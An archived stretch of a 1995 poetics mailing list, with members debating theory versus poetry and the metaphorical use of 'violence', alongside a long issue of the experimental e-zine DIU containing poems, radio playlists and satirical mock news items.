Well, at least no one has combined "Alfie" with the sheryy chicken-- egg question in a culinary way so as to make chicken alfredo and I still think a musical comedy version of Beowulf with Bachrach tunes would be a way to set up a privatized fund for poetry as it were to the tune of Alfie "I could build a big MEAD HALL" and "What's UP, Grendel's MOM,wo wo wo wo..." as in rock and roll middle school...

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142. Marc Nasdor
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

Eric writes:

> *...and it is an act of violence that Shelley, Milton, Pound and even that most unintellectual of intellectual poets, O'Hara, would perhaps resent, to rip it from that context.*

An act of *violence*? Eric, get a life! While I agree with the rest of your posting, the use of the word "violence" in relation to poetry seems out of place. To whom is such violence directed. I say "whom" because the term is large enough to burst through the relatively insular worlds of poetry, theory, and any other academic discourse. People who have experienced real violence must react to your statement with puzzlement, to say the least.

Regards,

Marc Nasdor
[redacted]

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143. Chris Funk
D I U
Fri 10 Feb 1995

Dear Poetics,

DIU, a.k.a. the Imaginary University, began in July '94 &
inertiates again today from my email account, the node of a
web where it is assembled.

A complete catalog of back issues is available via the EPC.

Please delete the following message (DIU 21) if uninterested. Otherwise, feel free to sign up!

Chris Funkhouser

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144. Chris Funk
*D I U 2 1 / *EXTENSIVE POST**
Fri 10 Feb 1995

D (eskryptions) (of an) I (maginary) U (nivercity)

21

II, I
vol 2, no 1
edition b

"whatever"

during winter detail
regents of the fate of the imaginary
convened

...These extrapolated futures are in the great western
tradition of migration and despoilation that begun some
time before 1000 BC. All of the fresh starts on earth,
all of the fresh starts for humans, have been squandered.
This is our advantage. We have lost our innocence. We are
not Adam and Eve. THE IMAGINARY UNIVERCITY exists because

> those who matriculate produce it. The students write all of the books in its library, plan the syllabi of the courses. We examine ourselves, we confer our own certificates and degrees.
>
> Now those who educate themselves as posthumans begin to produce a nation. The course of study is difficult, the chances for graduation are nil. If you want to study and act, you will be welcome. OTHERWISE, PLEASE, STAY HOME AND WATCH MTV. You should know, however, that our Nation of Noise and Knowledge is at war with the United Nations and all of its members. You will be required to undertake dangerous missions. The stakes could not be higher.
>
> --A student, IU, 1995
> [from "Posthuman Nation / Knowledge and Noise"
> _We Magazine 19 (diu 1-20)_, 1995.]

"It is all very well to enjoy the infinite bliss of life after death, but it is preferable not to have died at all."

Poetry comes into existence in the absence of poetry, where words and language become the objects of a near infinite number of experiments designed to animate a long since passed away corpse. The experiments are interesting, but the corpse, however exquisite, is not. Even the stink, which for some time intoxicated the half-dead disciples of its cause, has become merely another of a countless number of environemntal signs of our collective desperation. The most serious of all work is the most comic, and the most comic the most tragic. The laughter is no longer joyful, but sardonic. Indeed, the most outwardly revolutionary of acts have become the most boring.

We learn to live on breath alone. We learn not only to lie profoundly (as the disaffected poet said, and to ask ourselves, knowing this, whether mendacity is the best policy), but to understand that the key to the dissapperance of the world itself has itself, with the world, dissappeared. The aura surrounding the false joy of our recognition that we are all ghosts, has become as repetitive (and thus boring) as the pseudu-political act of revealing "the corpse" for what it really is. We learn not only to live, but to live lacking death, so that the over aestheticized funeral of poetry lacking poetry -- the stillborn child of politicized art -- can finally come to an end.

Life has never been more than life experimenting with life. Poetry, at best, has ecstatically been both a lamentation and celebration of that fact.

--the As-Of-Yet-Undescribed Student Body

RECENT AMERICAN POETRY HAS LACKED

poems on the death of a goldfish;

baseball metaphors;

happy liberalism (remember Hubert Humphrey);

epics of artificial intelligence;

poems concerning chewing gum--the Juicy Fruit theme;

iambic tetrameter quatrains;

consumer advice;

recipes for smothered pork chops;

famous living poets such as John Ashbery;

instructions on refurbishing antique chifforobes;

Vachel Lindsayism-- boomlay, boomlay, boomlay, BOOM, and forth;

good poems on electronic circuitry;

references to Chester A. Arthur;

rich people who'd pay to be mentioned in poems (i.e. serious patronage);

ennobling language;

poems about aliens who eats peoples' small intestines;

lyrics that turn on delicate points of etiquette;

heroic couplets;

exposes (as one says in ascii) of the meat-packing industry;

poems about how to use an arc welder;

the pancreas theme;

poems suitable to set for gospel quartets;

poems about happy middle age;

palindromes;

the theme of the foot, especially corns and ingrown toenails;

fried food metaphors;

images of water skiing;

the family farm, milch kine, the Grange, and so forth;

poems to be spoken by loose, flabby lips;

scandalous revelations about famous academic poets of the 50's;

poems about ice fishing;

fancy words, like "peignoir" or "puissant," used for their meanings;

Studebakers;

poems about the new intelligent house appliances;

any thing as funny as the Coasters' "Poison Ivy";

poems on themes in higher mathematics;

adequate poetic diction: "yonder," "finny tribe," "cyberhacksaw";

rhythms suitable for square dancing;

poems about aliens who write Tide commercials;

mnemonic devices for the names of civil war generals;

skillfully managed Skeltonics;

poems that are really diesel engines;

secret messages ("the walrus was Paul," etc.);

pool halls;

hollow men and hollow women;

poets who take up the persona of the sage investment banker;

an understanding of quantitative verse;

poems about building or living in yurts;

carnivorous poems;

poems about aliens whose genetic code is encrypted on Pearl Jam records;

poetry do-it-yourself kits;

the Latin names of medicinal herbs;

poems on the Vanity of Human Wishes.

WHO SAYS POETRY IS USED UP?

I went to a poetry conference sometime in the 70's at which there was one of those poetry readings that go on all night. There were seven poems on the death of gold fish-- two in tetrameter couplets, one in Skeltonics, one which included three Latin names of medicinal herbs. I have really seen nothing like it since. In fact shortly thereafter it became unfashionable to mention any thing at all.

We once had a gold fish named bubbles, who lived much of the time on our kitchen table, and she was mentioned in poems by at least three visiting poets with whom I sat after dinner discussing Skeltonics and arc welding and drinking coffee. In those days poets spoke of serious matters.

Bubbles lived a long life for a gold fish, and when she was grievously flushed, it was no longer considered fashionable to write on that theme, so I wrote about my 1957 Studebaker Golden Hawk, thus, substituting the death of my car, named after a mighty raptor, for Bubbles. It was a cunning stratagem.

Your assingment for next week is to write on the vanity of human wishes. This is a theme even older and nobler than dying gold fish, which itself goes back to the Sung dynasty. If you think you are not ready to handle such lofty material, you may attempt to remedy any of the lacks in recent poetry.

--The Poetry Work Chop Advisor

The while seven other knots hold you. The while you
nailed to your bed.
The while Trees in wet cement were branded.

The while, the while that you want to escape would die to escape.

Skrecic, it sounds the same in all the languages.

Skrecic, it sounds the same in the seven languages.

Skrecic, it sounds the same in the wet cement, the same
burning in the fires.

*** Sk. (Polish) : contort,

--MANOWAK

in my garden bleed to death
snowball trees of madness
from geometrical fountains
thrushes of madness
in my garden bleed to death
from geometrical fountains
from geometrical fountains
bleed to death in my garden
thrushes of madness
in my garden bleed to death
fountains of madness
from geometrical snowball trees
geometrical snowball trees
in my garden bleed to death
from fountains of madness

from geometrical madness
bleed to death in my garden
thy snowball trees at fountains

--HCA trans. by M. Hegemony

To The Bloodless Refugees Of Emptiness

"Through the suburbs sleepless people stagger,
as though just delivered from a shipwreck
of blood."
-Garcia Lorca, The Dawn

What now exists as palpable global destiny? What are its markers, its sculpted crimson signs?

The psychic atmosphere implies a return to troubled fiefdoms, to monarchies trebeled by ferocious glints of bloody erosion. The sun continues to burn, the tides swarm across their shores with their sulphurs, while human continuity appears and disappears, like a netling grimness of ghosts. What arises from this startling anti- mass is the progressive neutering of the species. During this continuing dearth of higher foci even lightning is misconstrued as mere electrical theatrics. World citizenry now progresses as an artificial epitath, as a spotted hyena starving on kelp, in an atmosphere of plight, hovering in balanced enigma. A spoiled voltage, a principle lacking in cohesion, where horizons disintegrate, where ideographs explode into darkness.

Humanity, like generic refugees, profanely strewn across a dome of exploded heliographs. The politicians crave for momentary incisions, for influential poison, much like staggered antelopes searching for sublime direction. For instance, a once dependant compass, now a locust eaten crystal. The collective path, a roving generation of hatchlings, devolving in sullen mental savannahs. We've witnessed many centuries of emigres, of disruptive holocaust phantoms. Now, all the fiestas and dieties somatically crippled, maundering like leaves across sudden hurricane waters, with their destinies entangled in a liminal brushfire pyroclastic.

At present, the shadow of our phylum wafting through an un- remitting mime osmotics. The linear goal, the abstracted referent, now remains increasingly hidden in tumultuous occlusion. And what is engendered by the latter, is the bloodless wake for uni-direc- tional propoganda...

--WA [to be continued in DIU 22]

Nubian Roots Playlist
Sunday, January 29, 1995, 12-3pm

90.1 KZSU Stanford
DJ Cat

Abbey Lincoln Afro-Blue Abbey is Blue Sun Ra Plutonium Nights Angels & Demons at Play/ Nubians of Plutonia Ethnic Heritage Ornette Coleman Dance with the Ancestors Ensemble Fred Houn A Blk Woman Speaks Tomorrow is Now! Johnny Dyani Quartet Blues for Meyake Angolian Cry Bobby Hutcherson Catta Dialogue Michael Benita Quartet Babel Soul Eric Dolphy Feathers Out There 8 Bold Souls A Little Encouragement Ant Farm 8 Bold Souls Half Life Ant Farm Reggie Workman Close Encounter Summit Conference John Coltrane Satellite Coltrane's Sound Di Meola/McLaughlin/ Frevo Rasgado Friday Night in San Francisco DeLucia Kahil El' Zabar Ritual Ornette Renaissance of the Resistance Arthur Blythe Faceless Woman Blythe Spirit Ran Blake The Short Life of The Short Life of Barbara Monk Barbara Monk Marilyn Crispell/ Old Thumper Band on the Wall Eddie Prevost Dogbolter Band on the Wall Apart Band on the Wall Don Pullen Ode to Life Random Thoughts John Jang Monk's Strut Self Defense Giuseppi Logan Quartet Dance of Satan Giuseppi Logan Quartet Andrew Hill Flight 19 Point of Departure Steve Coleman Shift on the Fly Drop Kick

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IN THE AMERICAN OPRY: COUNTRY-WESTERN, POETRY, REALISM
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Ron Silliman & David Melnick <-> Roy Clark & Buck Owens
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Johanna Drucker <-> Reba McEntire
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Keith & Rosmarie Waldrop <-> Jennifer Warnes & Leonard Cohen
Benjamin Hollander <-> Freddie Fender
Leslie Scalapino <-> David Lindley
Peter Gizzi <-> Tennessee Ernie Ford
Ben Friedlander <-> Slim Whitman
Rod Smith <-> John Prine
Douglas Messerli <-> Ray Stevens

Rumour has it that in what may be an attempt to flee the ruins, many members of the royalty (including Prince Gizzi) are currently flocking to California in what has (with some tongue in some cheek) been recently dubbed "Project Restore Coast." While some of the native inhabitants fear that such an infusion of "avant-garde"

sensibilities might not sit well in what has been called "one of the most alarming mixes of flabby pseudo-sixties idealism and crass mercantilism" ever witnessed, others have stated quite bluntly their favorable position:

"Why not hire all of them and have the best poetics program in the nation?"

According to inside sources who spoke on condition of anonymity, Top Cop Bob Perelman -- perhaps because of his en-vogue role in the recent film "Postmodernism: The Cultural Logic of Late Capitalism"-- is the front-runner for the recently opened position at Lost Coast University. Some still contend, however, that despite Perelman's acting experience, the fresh young face of Supporting Actor Aaron Shurin because of his wide-market appeal and, as one audience member put it, "ability to relate," is still in strong contention.

We've received no reports yet on the tryout performance of Cecil Giscombe, though rumour says that his reading went on, as scheduled, without incident, and that a good deal of fine wine was consumed by all parties involved.

We now await the arrival of Prince Gizzi.

Let us not fall into the sea
Til its best time...

--as of yet dis-integrated student body

The Last Days of the White Race, Readlist
10 Feb. 1995, Radio Free Northamerica

The Collected Poems of Langston Hughes edited by Arnold Rampersad (Knopf 1994):

"Songs to the Dark Virgin"

"God"

"Goodby Christ"

"Sunday Morning Prophecy"

"Madame and the Minister"

"Who But the Lord?"

"Bible Belt"

"Little Cats"

___

"Would
That I were a flame,
But one sharp, leaping flame
To annihilate a body,
Thou dark one"

"Spring!
Life is love!
Love is life only!
Better to be human
Than God -- and lonely"

"Goodbye,
Christ Jesus Lord God Jehova
Beat it on away from here now
Make way for a new guy with no religion at all --
A real guy named
Marx Communist Lenin Peasant Stalin Worker ME --

I said ME!"

"Come into the church this morning
Brothers and Sisters,
And be saved --
And give freely
In the collection basket
That I who am thy shepherd
Might live"

"He said, Sister
Have you back-slid?
I said, It felt good --
If I did!"

"No I do not understand
Why God don't protect a man
From police brutalities"

"It would be too bad if Jesus
Were to come back black.
There are so many churches
Where he could not pray
In the U.S.A."

"What happens to little cats?
Some get drowned in a well,
Some run over by a car --
But none goes to hell"

--*-**

DIU circulates by the logic of snowflakes
thru [redacted]

--**-*-*-***

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145. Charles A. Baldwin

this also needs to be posted (fwd)

Fri 10 Feb 1995

Subject: Child-Saving Hero Disputed
Copyright: 1999 by The Anti-Hegemony Project
Date: 1 Apr 99 00:00:00 EST

Lines: 23

BUFFALO (AHP) -- The day _apex of the M_'s headquarters went up in flames, a bystander caught three of the children as they were thrown from an upper-story window. But just who that man was is in dispute, and the Office of Monitored Sophistry doesn't know who should get a commendation for helping save the children. Four men and a woman have stepped forward, claiming to be the one who caught the children Mar. 15 and carried them to safety. A fourth child, who jumped from the window after throwing the others, was hospitalized. One of the men, Charles Bernstein, a 45-year-old migrant worker, said he even has a blister, a burn mark and a suit that smells like smoke to prove his story. The Sophist's office plans to honor someone, they just don't know who, said Marjorie Perloff, a spokeswoman for the Monitors. Another spokesman, Tom Mandel, suggested a bakeoff for determining the hero, but this suggestion was rejected out of hand. In any case, the injured child, Pam Rehm, will receive an award when she is released from the hospital, where she is recovering from burns over 40 percent of her body and scorched lungs. The other children

---More---

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escaped with minor bruises. The children are all twentysomething. ``It's not really important,'' who caught the youngsters, Perloff said. ``Believe me, I don't think nothing of it, as long as the children are safe.''

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146. **James Sherry**
Re: deified theories and unfounded vocabularies
Fri 10 Feb 1995

I'll try again to communicate the necessity of a multi-part relationship between theory and poetry. They are inevitably connected in that every poem participates in one or another or several theories of poetry (one cannot write a poem that doesn't participate in any of several series of ideas about poetry), but poetry and theory are not the same. There can be many sophistic ways to describe this and it is easily misinterpreted as a spiritual relationship, but it's more by way of the range of ideas that poetry and poetics occupy each and both. I am trying to avoid analogy, but a picture in sets would easily explain this concept. To quote the song, it's okey dokey for identity to have several faces as we are many of us poets, editors, theorists, drivers, partners, workers..... James

On Fri, 10 Feb 1995, Michael Boughn wrote:

> *Each poem has a theoretical basis whether it is acknowledged or not. Poetry and theory are separate but not separable and do not precede or follow each other. James*
>
> *This sounds a bit like There is a God whether He is acknowledged or not. Amen. (Yikes! Shades of the M'ers creeping into the L-space.) It does make it kind of hard to have a conversation, though, when one side knows the truth. Or is all that just a theory you made up?*
>
> *Best,*
> *Mike*
> [redacted]

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147. **James Sherry**
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

Yes and you have raised what is for me the interesting question of what aspects of the poem can possibly separate, have an independent existence, from its theory, its author, its reader, its context. Is the poem an object that can in that

sense be independent or are we talking about varying densities of language that participate in a discipline called poetry to a greater or lesser extent. To have the discussion properly we need to change its terms. I think the focus is now sharpened by your question. But I go too far too fast. Jmase

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148. **Spencer Selby**

Re: reified names vs. boundless vocabulary

Fri 10 Feb 1995

Dear Eric,

Theory is formulated ideas about how things work. You don't need theory, or to be that theoretical, to have a context, to have lots of contexts, as I assume most people do, especially in this day and age.

There is no single, proper context for a work of art. There is no single, proper context through which to read Shelley, Milton, Pound... It may be helpful to be aware of the contexts through which these poets viewed their own work (and art, life in general) but one does not need those contexts in order to be a receptive reader of their poetry. Those who say otherwise are, to me, playing a big power game: My explanation is better than yours or my explanation is the right one and you are misguided. I know more than you do, so don't challenge me. My idea of art is better formulated than yours, so my view of art, or my art, is superior.

Of course some peoples ideas are better formulated, and as explanations these may have more value. But the relationship between such explanations and the art is entirely problematic. The individual must have her own response to art, and the individual must have her own contexts for creating art. Explanations may be helpful or destructive in this endeavor. If I emphasize the negative here it is because others don't, and because I see this negative as looming large over the art today.

I do appreciate your letter, your sincerity and your struggle. I agree that this discussion will not be resolved, and I agree that these tensions may be productive. But if you don't believe your own contexts (which neither defer to nor ignore the contexts of others) are all that are necessary for appreciating or creating art, then I believe you will miss out on the best art has to offer.

Spencer

On Thu, 9 Feb 1995, eric pape wrote:

> *Spencer, I hear you. I really do, but I must ask finally, what is your definition of theory? It seems as if James and I are using a definition that calls for contextualization, and frankly, I think youre idea of*

> *theory is these names which form the heading for the discussion that, and I agree with you wholeheartedly, has gone on far too long.*
>
> *Art does have its level. I agree. But it also has a context, which I will call theoretical, and it is an act of violence that Shelley, Milton, Pound and even that most unintellectual of intellectual poets, O'Hara, would perhaps resent, to rip it from that context.*
>
> *My thing about purity was simply that it didn't seem to me that what we were saying here, or more precisely what Tom and others were saying since I did indeed butt-in, was all that "radical" or even particularly "theoretical." It just seemed sensible to me and I wondered why it bothered you. That's all.*
>
> *As for the academy: You scored a hit. I'm an academic, or a wanna be academic which shows you already the fool you're dealing with here, and I certainly have an interest in "complexifying matters." But, I'm a lot of other things too. None of which I can, or want, to seperate from my work, admittedly limited though it is.*
>
> *I think a lot of important issues are coming up. I think the reason we are not any closer to resolving them (and by the way I give you a great deal of credit personally Spencer for having the stamina to take on all comers) is that they cannot be resolved. I think it is from these tensions that the best work comes.*
>
> *Thanks, Eric ([redacted])*

↑ Index

149. Jorge Guitart
changing the subject
Fri 10 Feb 1995

Some suggestions:

Friends, don't be lazy: change the subject line if your message is no longer about reified names, boundless vocabularies or apex of the M, etc.

And for personal notes (e.g. my wife can play second base), write to each other not the list.

Thanks.

↑ Index

150. Tom Mandel
Re: Cockney Folk Dance
Fri 10 Feb 1995

...fools, ignorami, ministers without portfolio : Pessoa's 3 heteronyms were Alfredo de Campos, Alberto Caiero, Marvin Gaye, and Ricardo Reis. In the case of only one - I mean one only -

interregnum... the way I understand it, hokey pokey was a
phase between roley poley and chubby checker; I mean a
phrase of course... close interregnum

was every poem a theory, and that case stood for all.

Tm

↑ Index

151. **Tom Mandel**
Re: deified reams vs. nounless bloakabulary
Fri 10 Feb 1995

It's all very well to blame the greeks for theory, to be sure; but, the word entered their language from the phrase "they or we" which was inscribed on the banners of the brittano-aryans who invaded the poor pre-monumental scrub cult-ridden territory vastly earlier than previous references.

Tm

↑ Index

152. **Tom Mandel**
Re: Cockney Folk Dance
Fri 10 Feb 1995

It came to me in a vision, no in a moment of inspiration,
the herky jerky demands equal time. (verb where you weel)

↑ Index

153. **Tom Mandel**
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

---

re: James' "every poem has a theoretical basis,"

I think it's clear what that means if it is understood
more or less along the lines of 'every statement has a
theoretical basis' or 'every empirical fact has a
theoretical basis.'

Is there some further sense, special to poetry, in
which each example has a theoretical basis (or
implies a theory, or however you'd formulate it)?

Tom

↑ Index

154. **Tom Mandel**
Re: Cockney Folk Dance
Fri 10 Feb 1995

George bowering - what's the reference for Blackburn's pessoa translation? I'd like to see it.

Tm

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155. **Tom Mandel**
Re: Hackney Cockney
Fri 10 Feb 1995

Cris, did Pessoa write that? amazing... but I thought "O Sole, Mia" referred to the fish beneath her foot.

Tm

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156. **Tom Mandel**
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

Marc, you get a life. Words can be used metaphorically, I
do believe. And we all do so. "Insular worlds of poetry,
theory..." : should Brits object to the obvious attempt
to slander their land formation?

Tm

↑ Index

157. **Tom Mandel**
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

Chris Stroffolino - just what wd the chicken be alfredof?

↑ Index

158. **eric pape**
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

C'mon Marc, I think my trope was clear. Haven't you ever violently jerked the steering wheel? Just meant that I thought, humbly, that it took a particularly

violent jerk of the old noodle to separate the poem completely from its context. As to "those of us who have been victims of violence," what do you want? That I demonstrate that I've been a victim of violence? I have. That I demonstrate I've commited an act of violence? I have. How do I prove this in your opinion? A story? A police report? Snapshots? What would this prove? That I have a life, really truly?Would you believe it? Thanks, Eric

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159. Spencer Selby
Re: reified names vs. boundless vocabulary
Sat 11 Feb 1995

Before James and Tom take off completely, or as they proceed to what are for them more interesting questions, I would like to mention that the fact that we can derive theories from works of art does not mean art does not have its own level. Art is much more than these theories, and that is one reason why it has its own level. Spencer Selby

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160. Chris Stroffolino
Re: reified names vs. boundless vocabulary
Sat 11 Feb 1995

Dear Marc Nasdor-- "Real" vs. fake violence. As i write this, there is a woman screaming next store at her 'lover' who is beating her. Physical vs. psychic-- it kinda puts my "merely mental' pain into perspective, yet there's also the fact that someone can GO THROUGH THE MOTIONS--be there physically but not mentally. "corporeal friends are spiritual enemies" --Blake...So, should we reserve the word violence for the strictly material realm. For instance, if a homeless man hassles you for money that may be more PHYSICALLY violent than the GOVERNMENT oh so politely raising taxes, but which is more VIOLENT. God, I feel like Peter Tosh singing "tell me who are the criminals..." Chris (or one who has also been told often to "get a life")...

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161. Michael Boughn
Re: deified theories and unfounded vocabularies
Sat 11 Feb 1995

"He who is not in love is driven back to theory."
--Michel Serres, *Rome: A Book of Foundations*

If Ahab has a theory ("a little lower layer . . ."), what does Ishmael have?

Best,
Mike
[redacted]

↑ Index

162. eric pape
Re: reified names vs. boundless vocabulary
Sat 11 Feb 1995

Considering the recent rather odd discussion on "violence" I agree with you that there can be a "violence" to the way theory is used, as I should say there is a violence, perhaps more metaphysical (butnevertheless neccessary as all metaphysics, spirits, narratives, are neccessary) to a certain aestheticized position. I don't argue that this is your position, incidentally. There was much in your posting I agreed with, as above, some I didn't: I think we can have a respectful disagreement. I think that's possible. Thanks, Spencer. Eric ([redacted])

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163. Tom Mandel
Re: reified names vs. boundless vocabulary
Sat 11 Feb 1995

I'm starting to get a clearer picture of what is implied in James' dictum "every poem has a theoretical basis," & I thot to try it out on you all.

Take a musical equivalent. Certainly, every sonata has a theoretical basis - in some version of the classical sonata as an idea, a form and ideal for musical expression. And this clearly is theoretical in a real sense. Every string quartet, symphony, etc.

In the above, we are referring to the character of an art form historically. we are referring to European music from the late 18th century forward, continuing in varied ways to our own day when, still, someone writing a sonata wd be operating from a theory of the sonata, and a theory of music englobing sonata theory. Similarly for non-classical forms.

So what is being indicated here is not an analytical fact, nor a god that's there willy nilly, but the

developing character of an art discipline: its historical character, its self-expressed ideals and forms, and ways - parts of the ways - to approach and understand works within that discipline. And I think one cd rewrite the description of music to fit equally well the history of painting, again European painting.

This is different too from my supposition or query whether James was just saying that as every expression or human act occurs within a cultural context which establishes at least a domain and horizon for its formal ideals of truth, appropriateness, appeal, etc., so a poem, in that sense, implied a theory (or even theories).

In a sense then, what James is argueing for is a historical poetics, that we understand poetry w/in the context of the extended internal and external conversation (challenge and response, as we say in the login world) which underlies its practice. This is strong, open and interesting. What does draw one to write poetry? How are terms (viz. spirit) interesting or operative in that conversation? His requirement of the apexers to nuance, to be subtle, not to be frontal, about their terms, is then a request for them to enter that conversation, and not a pan from the superior position of one who's been around long enough to know better, as it were (and in that formulation I think too that I'm trying to recontextualize some of what may come off as arrogance in my own contributions here).

I haven't meant to represent James in this, but to open the ways his urgencies (and poetry is an urgent endeavor or nil) allow me to think and respond.

Tom Mandel

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164. Tom Mandel
Re: reified names vs. boundless vocabulary
Sat 11 Feb 1995

"Art has its own level" --- that is a theory Spencer, or rather a small part of one or a single expression of one (or of many of them). No?

tom

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165. Donald J. Byrd
Theory
Sat 11 Feb 1995

James Sherry is undoubtedly correct that poetry cannot produce pure tran nition academic. That is, the theoretical issues are always in play in the ope

↑ Index

166. eric pape
Re: reified names vs. boundless vocabulary
Sat 11 Feb 1995

Yes, yes. This makes it clearer. And extremely interesting. But, doesn't this, when it truly becomes poetry=theory, which incidentally is not what I think I hear James saying, become another form of intentionality? Ie., the poet intends this or that context? Might we think of the poem, as I think Tom indicates, as a dynamic in which these varying contexts, spirits, politics, narratives, metaphysics, and everything that works against these, circulate? Might we think ofthe poem, or any work of art, as an intricate process in which a multiplicity of concepts, with a both small and a capital C occur? This implies, to me, a poetry that works against stability, that is anything but static. And seems to me something that implies that thinking/creating/versifying/etc. never ends. just a few scattered thoughts. Thanks, Eric ([redacted])

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167. Carla Billitteri
Correction
Sat 11 Feb 1995

> *Subject: AHP Corrects Translation Story*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 10 Feb 99 15:30:45 EST*

> *Lines: 10*
>
> *PROVIDENCE (AHP) -- In a Feb. 11 story about the use of humans in translation experiments, The Anti-Hegemony Project erroneously reported that Brown University researchers used a translated substance in a 1995 experiment on newborns.*
>
> *The story was based on a Bureau of the Atlantic publication that listed the Brown experiment as one of 154 studies involving translation and human subjects. However, the Bureau now acknowledges the substance used at Brown, waldrop-50, is not translative, said Michael Palmer, deputy director of the Bureau's Office of Human Translation Experiments.*

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168. Donald J. Byrd
Theory
Sat 11 Feb 1995

In uploading, this file somehow lost its line breaks. Hopefully this will be more readable:

James Sherry is undoubtedly correct that poetry cannot produce pure transparent immediacy, and it is therefore inevitably supplemented, consciously or unconsciously, with theory.

It seems to me, however, the following points might advance this thread of discussion.

1. Poets are as responsible for their theory as they are for their art, and poets during the past twenty years have often abdicated the responsibility. The theoretical results in philosophy as such and in the social and physical sciences are not irrelevant to poetry, but their use in poetics is limited at best. The poet must think through the same issues but think through them in relation to the concrete practice of poetry.

2. The poetry that is of enduring interest from Hesiod's _Theogony_ to Jack Clark's sonnets, Nate Mackey's _School of Uhdra_, Anne Waldman's _Iovis_, and Charles Stein's _The Hat Rack Tree_ incorporates its theory in the poems themselves. Theoretically complex poetry otherwise is by definition academic. That is, the theoretical issues are always in play in the open form in which immediacy and thought are always in recursive interaction. This recursion is literally the motive of creative act.

3. One of the reasons this becomes a difficult issue is that more and more poets find themselves employed in graduate education, a very different role to the academic poets of the 50's (who often taught in small liberal arts schools or carried on the liberal-arts-school function in a large university). It does seem to

me we might find reasons to object to poems that illustrate this or that hot theory. This kind of poetry seems to me at present a serious plague. It is comparable to the endless iambic tetrameter quatrains that illustrated the theoretical pronouncements of late Eliot.

Don Byrd

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169. **Marc Nasdor**
Re: reified names vs. boundless vocabulary
Sat 11 Feb 1995

Tom--

Fortunately or unfornately, I've got more life than I can handle. In any case, I was only stating that Eric's use of the term "violence" was way overblown, so I guess that makes it an overblown metaphor. So chill.

--Marc

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170. **Tenney Nathanson**
Re: Theory
Sat 11 Feb 1995

On Sat, 11 Feb 1995, Donald J. Byrd wrote:

> *In uploading, this file somehow lost its line breaks. Hopefully this will be more readable:*
>
> *James Sherry is undoubtedly correct that poetry cannot produce pure transparent immediacy, and it is therefore inevitably supplemented, consciously or unconsciously, with theory.*
>
> *It seems to me, however, the following points might advance this thread of discussion.*
>
> *1. Poets are as responsible for their theory as they are for their art, and poets during the past twenty years have often abdicated the responsibility. The theoretical results in philosophy as such and in the social and physical sciences are not irrelevant to poetry, but their use in poetics is limited at best. The poet must think through the same issues but think through them in relation to the concrete practice of poetry.*

Don-- why not write them through as/in poetry? Or is that what you meant? And if so then pinnning down the 2/3 split would seem esp. pressing (whose theoretically alert poetry is responsive and whose is just abdication?)

> *2. The poetry that is of enduring interest from Hesiod's _Theogony_ to Jack Clark's sonnets, Nate Mackey's _School of Uhdra_, Anne Waldman's _Iovis_, and Charles Stein's _The Hat Rack Tree_ incorporates its theory in the poems themselves. Theoretically complex poetry otherwise is by definition academic. That is, the theoretical issues are always in play in the open form in which immediacy and thought are always in recursive interaction. This recursion is literally the motive of creative act.*
>
> *3. One of the reasons this becomes a difficult issue is that more and more poets find themselves employed in graduate education, a very different role to the academic poets of the 50's (who often taught in small liberal arts schools or carried on the liberal-arts-school function in a large university). It does seem to me we might find reasons to object to poems that illustrate this or that hot theory. This kind of poetry seems to me at present a serious plague. It is comparable to the endless iambic tetrameter quatrains that illustrated the theoretical pronouncements of late Eliot.*
>
> *Don Byrd*

To unbeg this question, I guess, names might be named, or working criteria given. That is: how distinguish "in general" between poetry in which
" the theoretical issues are always in play in the open form
> in which immediacy and thought are always in recursive
> interaction"
and the poetry which merely "illustrates" a theory? I guess it might be done in practice, but I bet such a distinction would be hard to align with something like "open form" unless that's either a School Cheer or, essentially, a tautology.

Tenney Nathanson

↑ Index

171. **Donald J. Byrd**

Re: Theory

Sun 12 Feb 1995

In response to my claim that poets must think through the theoretical issues in relation to poetic practice, Tenney Nathanson asks,

> *why not write them through as/in poetry?*

Yes, I would say the _great_ poets, in some sense the only poets worth _studying_, are those who set forth clearly in the poems themselves the circular dependency of immediacy and abstraction (Parmenides, Lucretius, Blake, and Olson are examples).

Other poetry is read as journalism (i.e. information set forth in the context of the large unstated prejudices of the day) or as distraction (poetry as tv).

It does seem, however, that an intermediate discourse is sometimes necessary. Olson's _SPecial View of History_, for example.

The distinction between poetry in which the theoretical issues are always in play and poems that merely illustrate a theory is in practice quite clear.

Poetry of the former type takes full responsibility for the theory. Of course, this means that the poem that addresses its own theoretical base is still dependent upon the theory that makes that poem possible. Serious poetry, however, takes full responsibility for the loop, which is its central motive.

Poetry of the latter type, takes the fact that any poem must depend upon a theory to dodge responsibility for the poem at hand. Thus, poetry becomes a reliance upon various algorithms of novelty. The poet feels assured that this work must be important, if he or she only had time to think up or at least articulate the theory on which it depends.

Don Byrd

↑ Index

172. Jorge Guitart
theory & truth
Sun 12 Feb 1995

that poetry cannot produce pure transparent immediacy -- which used to be a hypothesis -- has now been certified as the truth by at least two people.

↑ Index

173. Ron Silliman
Re: reified names vs. boundless vocabulary
Sun 12 Feb 1995

" As i write this, there is a woman screaming
> next store at her 'lover' who is beating her. "

Why are you writing this to the list when you should be calling the cops?

↑ Index

174. James Sherry
Re: reified names vs. boundless vocabulary
Sun 12 Feb 1995

On Sat, 11 Feb 1995, Spencer Selby wrote:

> *Before James and Tom take off completely, or as they proceed to what are for them more interesting questions, I would like to mention that the fact that we can derive theories from works of art does not mean art does not have its own level. *Art is much more than these theories,**

I DON'T KNOW ABOUT TOM, BUT FOR ME THE HIERARCHICAL STATEMENT REGARDING THE PRECEDENCE OF ART IS WHAT IS IS QUESTION. ART IS PRECEDED AND FOLLOWED BY THEORY AND VICE VERSA. THEORIES ABOUT ART AND ABOUT OTHER DISCIPLINES AFFECT ART. YOU ARE BEING CONSISTENTLY REDUCTIVE, SPENCER, AND REDUCING ART THEREBY TO SOME "HIGHER" (SIC) ORDER. (And no one would disagree that art doesn't have its own level.)

and that is
> one reason why it has its own level.
> Spencer Selby
>

↑ Index

175. Donald J. Byrd
Re: theory & truth
Sun 12 Feb 1995

No, I believe that _language_ cannot produce pure immediacy was proven by conclusive logic by Parmenides.

Don Byrd

↑ Index

176. James Sherry
Re: deified theories and unfounded vocabularies
Sun 12 Feb 1995

